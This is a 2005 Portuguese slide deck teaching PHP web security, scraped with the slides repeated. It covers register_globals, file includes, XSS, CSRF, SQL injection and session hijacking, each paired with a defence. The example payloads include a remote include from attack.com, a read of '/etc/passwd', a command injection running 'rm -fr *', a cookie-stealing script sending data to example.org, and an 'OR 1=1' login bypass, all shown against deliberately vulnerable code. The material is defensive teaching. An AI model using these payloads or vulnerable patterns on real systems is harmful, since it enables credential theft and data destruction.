Segurana em PHP Exemplos e Casos Prticos Nuno

  • Slides: 22
Download presentation
Segurança em PHP Exemplos e Casos Práticos Nuno Lopes, NEIIST – 3º Ciclo de

Segurança em PHP Exemplos e Casos Práticos Nuno Lopes, NEIIST – 3º Ciclo de Apresentações. 17/Março/2005

Agenda: n n n n Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries

Agenda: n n n n Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

Agenda: ð n n n n Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request

Agenda: ð n n n n Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

Register Globals Configuração do PHP insegura n Não usar / desactivar !! n script.

Register Globals Configuração do PHP insegura n Não usar / desactivar !! n script. php? autenticado=1 <? if ($user == 'user' && $pass == 'pass') { $autenticado = true; } if ($autenticado) { mostra_info_confidencial(); } ? > <? $autenticado = false; if ($_POST[‘user’] == 'user' (. . . ) ? > üregister_globals=Off

Agenda: Register Globals ð Paths n Cross-Site Scripting (XSS) n Cross-Site Request Forgeries (CSRF)

Agenda: Register Globals ð Paths n Cross-Site Scripting (XSS) n Cross-Site Request Forgeries (CSRF) n SQL Injection n Session Hijacking n n n Links Questões

Paths Includes perigosos levam a execução remota de código n Visualização de ficheiros confidenciais

Paths Includes perigosos levam a execução remota de código n Visualização de ficheiros confidenciais n script. php? file=http: //attack. com/script. php? file=. . /etc/passwd <? include "$file. inc"; //include "http: //attack. com/script. inc"; readfile($file); ? > üallow_url_fopen=Off ? > übasename() / dirname() ürealpath() üpathinfo()

Paths n Execução de comandos no servidor script. php? opts=-la | rm –fr *

Paths n Execução de comandos no servidor script. php? opts=-la | rm –fr * <? system("ls $opts"); //system("ls -la | rm –fr *"); ? > üescapeshellarg() üescapeshellcmd() üsafe_mode=On

Paths n “Roubo” de códigos # /path/to/secret-stuff (root only) Set. Env DB_USER "myuser" Set.

Paths n “Roubo” de códigos # /path/to/secret-stuff (root only) Set. Env DB_USER "myuser" Set. Env DB_PASS "mypass" # httpd. conf Include "/path/to/secret-stuff" <Files ~ ". inc$"> Order allow, deny Deny from all </Files>

Agenda: Register Globals n Paths ð Cross-Site Scripting (XSS) n Cross-Site Request Forgeries (CSRF)

Agenda: Register Globals n Paths ð Cross-Site Scripting (XSS) n Cross-Site Request Forgeries (CSRF) n SQL Injection n Session Hijacking n n n Links Questões

Cross-Site Scripting (XSS) Inserção de HTML/Java. Script numa página (através de variáveis não filtradas)

Cross-Site Scripting (XSS) Inserção de HTML/Java. Script numa página (através de variáveis não filtradas) n Permite roubo de sessões, passwords, etc. . n <script> document. location = 'http: //example. org/steal_cookies. php? cookie=' + document. cookie </script> üstrip_tags() ühtmlentities() / htmlspecialchars()

Agenda: Register Globals n Paths n Cross-Site Scripting (XSS) ð Cross-Site Request Forgeries (CSRF)

Agenda: Register Globals n Paths n Cross-Site Scripting (XSS) ð Cross-Site Request Forgeries (CSRF) n SQL Injection n Session Hijacking n n n Links Questões

Cross-Site Request Forgeries (CSRF) "sea surf" n Método pouco usado em exploits (por enquanto…)

Cross-Site Request Forgeries (CSRF) "sea surf" n Método pouco usado em exploits (por enquanto…) n Mas muito poderoso e difícil de defender n Bastante transversal [img]http: //your. forums/newreply. php? action=newthread&subject=aaa&bod y=some+naughty+words&submit=go[/img] <img src="http: //192. 168. 0. 1/admin/buy_stocks. php? number=all">

Cross-Site Request Forgeries (CSRF) "sea surf" Não há “receitas”, depende do programa n Usar

Cross-Site Request Forgeries (CSRF) "sea surf" Não há “receitas”, depende do programa n Usar POST em vez de GET n Forçar o uso de forms próprios via TOKEN aleatório n

Agenda: Register Globals n Paths n Cross-Site Scripting (XSS) n Cross-Site Request Forgeries (CSRF)

Agenda: Register Globals n Paths n Cross-Site Scripting (XSS) n Cross-Site Request Forgeries (CSRF) ð SQL Injection n Session Hijacking n n n Links Questões

SQL Injection Fácil de evitar: n Filtrar dados por tipo n Usar aspas n

SQL Injection Fácil de evitar: n Filtrar dados por tipo n Usar aspas n Não mostrar erros (i. e. mysql_error())

SQL Injection script. php? user=admin' OR '1'='1&pass= <? $sql = "SELECT * FROM tabela

SQL Injection script. php? user=admin' OR '1'='1&pass= <? $sql = "SELECT * FROM tabela WHERE user='$user' AND pass='$pass'"; $q = mysql_query($sql) or die(mysql_error()); if (mysql_num_rows($q) == 1) { $auth = true; } ? > SELECT * FROM tabela WHERE user='admin' OR '1'='1' AND pass=' '

SQL Injection n n Usar cast explícito para inteiros mysql_real_escape_estring() Usar hashes nos códigos

SQL Injection n n Usar cast explícito para inteiros mysql_real_escape_estring() Usar hashes nos códigos (md 5()/sha 1()) Cuidado com wildcards (‘. . . LIKE “%aeiou%”’) Atenção às queries múltiplas <? $an_int = (int) $_GET['an_int']; if ($an_int < 0 || $an_int > 50) display_user_error(); ? >

Agenda: Register Globals n Paths n Cross-Site Scripting (XSS) n Cross-Site Request Forgeries (CSRF)

Agenda: Register Globals n Paths n Cross-Site Scripting (XSS) n Cross-Site Request Forgeries (CSRF) n SQL Injection ð Session Hijacking n n n Links Questões

Session Hijacking n “Roubo” de sessões Usar SSL e fazer lock ao IP (e

Session Hijacking n “Roubo” de sessões Usar SSL e fazer lock ao IP (e ao certificado do cliente) n Usar apenas cookies (evita URLs do tipo script. php? PHPSESSID=jfh 92 lpgmc 7 s 6 fj e ataques pelo HTTP REFERER) n

Agenda: n n n ð n Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request

Agenda: n n n ð n Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

Links n www. php. net/security www. phpsec. org www. owasp. org www. securityfocus. com

Links n www. php. net/security www. phpsec. org www. owasp. org www. securityfocus. com www. phpsecure. info www. net-force. nl n http: //mega. ist. utl. pt/~ncpl/pres/ n n n

Agenda: n n n Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF)

Agenda: n n n Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links ð Questões n